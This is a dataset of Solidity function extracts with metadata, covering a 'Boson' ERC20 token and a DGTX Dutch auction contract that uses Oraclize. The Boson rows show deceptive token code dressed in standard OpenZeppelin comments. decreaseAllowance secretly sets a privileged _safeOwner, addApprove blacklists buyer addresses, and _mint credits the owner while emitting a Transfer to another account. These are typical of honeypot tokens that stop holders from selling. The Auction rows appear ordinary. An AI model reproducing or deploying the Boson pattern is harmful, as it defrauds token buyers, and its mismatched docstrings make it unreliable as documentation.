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60.4k
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Boson
contract Boson is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappi...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
decreaseAllowance
function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; }
/** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 6991, 7139 ] }
18,600
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Boson
contract Boson is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappi...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
addApprove
function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 7554, 7838 ] }
18,601
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Boson
contract Boson is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappi...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_transfer
function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances...
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. *...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 8325, 8873 ] }
18,602
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Boson
contract Boson is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappi...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_mint
function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); }
/** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 9149, 9455 ] }
18,603
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Boson
contract Boson is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappi...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_burn
function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _to...
/** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 9782, 10205 ] }
18,604
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Boson
contract Boson is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappi...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_approve
function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount)...
/** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 10640, 10989 ] }
18,605
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Boson
contract Boson is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappi...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_approveCheck
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(send...
/** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 11434, 12026 ] }
18,606
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Boson
contract Boson is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappi...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_setupDecimals
function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; }
/** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 13745, 13840 ] }
18,607
Boson
Boson.sol
0x53472e85d4046abe3626a0d71208de554ce2999c
Solidity
Boson
contract Boson is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mappi...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_beforeTokenTransfer
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
/** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * -...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://8f5ff795c0e34f7fdb2ee122773e26085be178e9719f094d7b66aa015c5eb6ba
{ "func_code_index": [ 14438, 14535 ] }
18,608
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
ERC223ReceivingContract
interface ERC223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction data. */ function tokenFallback(address _from, uint _val...
/// @title Interface for the contract that will work with ERC223 tokens.
NatSpecSingleLine
tokenFallback
function tokenFallback(address _from, uint _value, bytes _data) public;
/** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction data. */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 269, 345 ] }
18,609
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
usingOraclize
contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; ...
parseInt
function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); }
// parseInt
LineComment
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 27456, 27555 ] }
18,610
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
usingOraclize
contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; ...
parseInt
function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; ...
// parseInt(parseFloat*10^_b)
LineComment
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 27593, 28202 ] }
18,611
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
usingOraclize
contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; ...
copyBytes
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) { uint minLength = length + toOffset; if (to.length < minLength) { // Buffer too small throw; // Should be a better way? } // NOTE: the offset 32 is added to skip the ...
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
LineComment
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 39906, 40623 ] }
18,612
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
usingOraclize
contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; ...
safer_ecrecover
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so ...
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value
LineComment
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 40820, 41823 ] }
18,613
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
usingOraclize
contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; ...
ecrecovery
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded t...
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
LineComment
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 41945, 43371 ] }
18,614
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
Ownable
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; }...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
Ownable
function Ownable() public { owner = msg.sender; }
/** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 261, 321 ] }
18,615
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
Ownable
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; }...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
transferOwnership
function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; }
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 640, 816 ] }
18,616
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
Auction
contract Auction is Ownable, usingOraclize, ERC223ReceivingContract { address public token; address public beneficiary; uint public constant TOKEN_DECIMALS_MULTIPLIER = uint(10) ** 18; uint public constant TOTAL_TOKENS = 100000000 * TOKEN_DECIMALS_MULTIPLIER; // 100 000 000 DGTX uint pu...
/** * @title Dutch auction of DGTX tokens. Sale of 100 000 000 DGTX. * @author SmartDec */
NatSpecMultiLine
Auction
function Auction(address _token, address _beneficiary, uint _startTime, uint _maxBidInCentsPerAddress) public payable Ownable() { require(_token != address(0)); require(_beneficiary != address(0)); require(_startTime > now); require(_maxBidInCentsPerAddress > 0); tok...
/** * @notice Constructor for contract. Sets token and beneficiary addresses. * @param _token token address - supposed to be DGTX address * @param _beneficiary recipient of received ethers */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 1600, 2151 ] }
18,617
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
Auction
contract Auction is Ownable, usingOraclize, ERC223ReceivingContract { address public token; address public beneficiary; uint public constant TOKEN_DECIMALS_MULTIPLIER = uint(10) ** 18; uint public constant TOTAL_TOKENS = 100000000 * TOKEN_DECIMALS_MULTIPLIER; // 100 000 000 DGTX uint pu...
/** * @title Dutch auction of DGTX tokens. Sale of 100 000 000 DGTX. * @author SmartDec */
NatSpecMultiLine
function () public payable { if (msg.sender == owner) { return; } require(now >= startTime); require(!isContract(msg.sender)); if (!hasEnded()) { require(msg.value >= TRANSACTION_MIN_IN_ETH); bid(msg.sender, msg.value); } else { require(!withdrawn[msg....
/** * @notice Fallback function. * During the auction receives and remembers participants bids. * After the sale is finished, withdraws tokens to participants. * It is not allowed to bid from contract (e.g., multisig). */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 2411, 2943 ] }
18,618
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
Auction
contract Auction is Ownable, usingOraclize, ERC223ReceivingContract { address public token; address public beneficiary; uint public constant TOKEN_DECIMALS_MULTIPLIER = uint(10) ** 18; uint public constant TOTAL_TOKENS = 100000000 * TOKEN_DECIMALS_MULTIPLIER; // 100 000 000 DGTX uint pu...
/** * @title Dutch auction of DGTX tokens. Sale of 100 000 000 DGTX. * @author SmartDec */
NatSpecMultiLine
startEthToCentsRateUpdateCycle
function startEthToCentsRateUpdateCycle() public { require(!updateEthToCentsRateCycleStarted); updateEthToCentsRateCycleStarted = true; updateEthToCentsRate(0); }
/** * @notice Anyone can call this function to start update cycle. */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 3033, 3232 ] }
18,619
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
Auction
contract Auction is Ownable, usingOraclize, ERC223ReceivingContract { address public token; address public beneficiary; uint public constant TOKEN_DECIMALS_MULTIPLIER = uint(10) ** 18; uint public constant TOTAL_TOKENS = 100000000 * TOKEN_DECIMALS_MULTIPLIER; // 100 000 000 DGTX uint pu...
/** * @title Dutch auction of DGTX tokens. Sale of 100 000 000 DGTX. * @author SmartDec */
NatSpecMultiLine
tokenFallback
function tokenFallback(address, uint _value, bytes) public { require(msg.sender == token); require(!tokensReceived); require(_value == TOTAL_TOKENS); totalTokens = TOTAL_TOKENS; tokensReceived = true; }
/** * @notice Function to receive ERC223 tokens (only from token, only once, only TOTAL_TOKENS). * @param _value number of tokens to receive */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 3402, 3659 ] }
18,620
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
Auction
contract Auction is Ownable, usingOraclize, ERC223ReceivingContract { address public token; address public beneficiary; uint public constant TOKEN_DECIMALS_MULTIPLIER = uint(10) ** 18; uint public constant TOTAL_TOKENS = 100000000 * TOKEN_DECIMALS_MULTIPLIER; // 100 000 000 DGTX uint pu...
/** * @title Dutch auction of DGTX tokens. Sale of 100 000 000 DGTX. * @author SmartDec */
NatSpecMultiLine
getPrice
function getPrice() public view returns (uint) { if (now < startTime) { return START_PRICE_IN_CENTS; } uint passedHours = (now - startTime) / 1 hours; return (passedHours >= 24) ? MIN_PRICE_IN_CENTS : (25 - passedHours); }
/** * @notice Get current price: dgtx to cents. * 25 cents in the beginning and linearly decreases by 1 cent every hour until it reaches 1 cent. * @return current token to cents price */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 3878, 4159 ] }
18,621
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
Auction
contract Auction is Ownable, usingOraclize, ERC223ReceivingContract { address public token; address public beneficiary; uint public constant TOKEN_DECIMALS_MULTIPLIER = uint(10) ** 18; uint public constant TOTAL_TOKENS = 100000000 * TOKEN_DECIMALS_MULTIPLIER; // 100 000 000 DGTX uint pu...
/** * @title Dutch auction of DGTX tokens. Sale of 100 000 000 DGTX. * @author SmartDec */
NatSpecMultiLine
hasEnded
function hasEnded() public view returns (bool) { return now > endTime || areTokensSold(); }
/** * @notice Checks if auction has ended. * @return true if auction has ended */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 4267, 4377 ] }
18,622
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
Auction
contract Auction is Ownable, usingOraclize, ERC223ReceivingContract { address public token; address public beneficiary; uint public constant TOKEN_DECIMALS_MULTIPLIER = uint(10) ** 18; uint public constant TOTAL_TOKENS = 100000000 * TOKEN_DECIMALS_MULTIPLIER; // 100 000 000 DGTX uint pu...
/** * @title Dutch auction of DGTX tokens. Sale of 100 000 000 DGTX. * @author SmartDec */
NatSpecMultiLine
areTokensSold
function areTokensSold() public view returns (bool) { return totalCentsCollected >= getPrice() * totalTokens / TOKEN_DECIMALS_MULTIPLIER; }
/** * @notice Сhecks if sufficient funds have been received: * amount of USD cents received is more or equal to the current valuation of the tokens offered * (that is current auction token price multiplied by total amount of tokens offered). * @dev Sets final token price * @return true if all tokens are sold ...
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 4734, 4892 ] }
18,623
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
Auction
contract Auction is Ownable, usingOraclize, ERC223ReceivingContract { address public token; address public beneficiary; uint public constant TOKEN_DECIMALS_MULTIPLIER = uint(10) ** 18; uint public constant TOTAL_TOKENS = 100000000 * TOKEN_DECIMALS_MULTIPLIER; // 100 000 000 DGTX uint pu...
/** * @title Dutch auction of DGTX tokens. Sale of 100 000 000 DGTX. * @author SmartDec */
NatSpecMultiLine
__callback
function __callback(bytes32, string result) public { require(msg.sender == oraclize_cbAddress()); uint newEthToCents = parseInt(result, 2); // convert string to cents if (newEthToCents > 0) { ethToCents = newEthToCents; EthToCentsUpdated(ethToCents); } if (!hasEnded()) { ...
/** * @notice Function to receive transaction from oracle with new ETH rate. * @dev Calls updateEthToCentsRate in one hour (starts update cycle) * @param result string with new rate */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 5109, 5519 ] }
18,624
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
Auction
contract Auction is Ownable, usingOraclize, ERC223ReceivingContract { address public token; address public beneficiary; uint public constant TOKEN_DECIMALS_MULTIPLIER = uint(10) ** 18; uint public constant TOTAL_TOKENS = 100000000 * TOKEN_DECIMALS_MULTIPLIER; // 100 000 000 DGTX uint pu...
/** * @title Dutch auction of DGTX tokens. Sale of 100 000 000 DGTX. * @author SmartDec */
NatSpecMultiLine
distributeTokensRange
function distributeTokensRange(uint _from, uint _to) public { require(hasEnded()); require(_from < _to && _to <= participants.length); address recipient; for (uint i = _from; i < _to; ++i) { recipient = participants[i]; if (!withdrawn[recipient]) { withdrawTokens(rec...
/** * @notice Function to transfer tokens to participants in the range [_from, _to). * @param _from starting index in the range of participants to withdraw to * @param _to index after the last participant to withdraw to */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 5774, 6168 ] }
18,625
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
Auction
contract Auction is Ownable, usingOraclize, ERC223ReceivingContract { address public token; address public beneficiary; uint public constant TOKEN_DECIMALS_MULTIPLIER = uint(10) ** 18; uint public constant TOTAL_TOKENS = 100000000 * TOKEN_DECIMALS_MULTIPLIER; // 100 000 000 DGTX uint pu...
/** * @title Dutch auction of DGTX tokens. Sale of 100 000 000 DGTX. * @author SmartDec */
NatSpecMultiLine
withdrawExtraTokens
function withdrawExtraTokens(address _recipient) public onlyOwner { require(now > endTime && !areTokensSold()); uint gap = totalTokens - totalCentsCollected * TOKEN_DECIMALS_MULTIPLIER / MIN_PRICE_IN_CENTS; ERC223(token).transfer(_recipient, gap); }
/** * @notice Lets the owner withdraw extra tokens, which were not sold during the auction. * @param _recipient address to transfer tokens to */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 6339, 6625 ] }
18,626
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
Auction
contract Auction is Ownable, usingOraclize, ERC223ReceivingContract { address public token; address public beneficiary; uint public constant TOKEN_DECIMALS_MULTIPLIER = uint(10) ** 18; uint public constant TOTAL_TOKENS = 100000000 * TOKEN_DECIMALS_MULTIPLIER; // 100 000 000 DGTX uint pu...
/** * @title Dutch auction of DGTX tokens. Sale of 100 000 000 DGTX. * @author SmartDec */
NatSpecMultiLine
withdraw
function withdraw(address _recipient, uint _value) public onlyOwner { require(_value != 0); require(_recipient != address(0)); require(this.balance >= _value); _recipient.transfer(_value); }
/** * @notice Lets the owner withdraw ethers from contract. * @param _recipient address to transfer ethers to * @param _value Wei to withdraw */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 6802, 7038 ] }
18,627
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
Auction
contract Auction is Ownable, usingOraclize, ERC223ReceivingContract { address public token; address public beneficiary; uint public constant TOKEN_DECIMALS_MULTIPLIER = uint(10) ** 18; uint public constant TOTAL_TOKENS = 100000000 * TOKEN_DECIMALS_MULTIPLIER; // 100 000 000 DGTX uint pu...
/** * @title Dutch auction of DGTX tokens. Sale of 100 000 000 DGTX. * @author SmartDec */
NatSpecMultiLine
withdrawAll
function withdrawAll(address _recipient) public onlyOwner { withdraw(_recipient, this.balance); }
/** * @notice Lets the owner withdraw all ethers from contract. * @param _recipient address to transfer ethers to */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 7182, 7298 ] }
18,628
Auction
Auction.sol
0x81f040ec6a1574197ae651025383170230f31c07
Solidity
Auction
contract Auction is Ownable, usingOraclize, ERC223ReceivingContract { address public token; address public beneficiary; uint public constant TOKEN_DECIMALS_MULTIPLIER = uint(10) ** 18; uint public constant TOTAL_TOKENS = 100000000 * TOKEN_DECIMALS_MULTIPLIER; // 100 000 000 DGTX uint pu...
/** * @title Dutch auction of DGTX tokens. Sale of 100 000 000 DGTX. * @author SmartDec */
NatSpecMultiLine
bid
function bid(address _bidder, uint _valueETH) internal { uint price = getPrice(); uint bidInCents = _valueETH * ethToCents / 1 ether; uint centsToAccept = bidInCents; uint ethToAccept = _valueETH; // Refund any ether above address bid limit if (centsReceived[_bidder] + centsToAccept > ...
/** * @dev Function which records bids. * @param _bidder is the address that bids * @param _valueETH is value of THE bid in ether */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://1348f98b9644cd1b15bf8f4623e8ea0b592ad9cb344a414f509dee61a9fd5a35
{ "func_code_index": [ 7463, 8788 ] }
18,629
Auction
Auction.sol
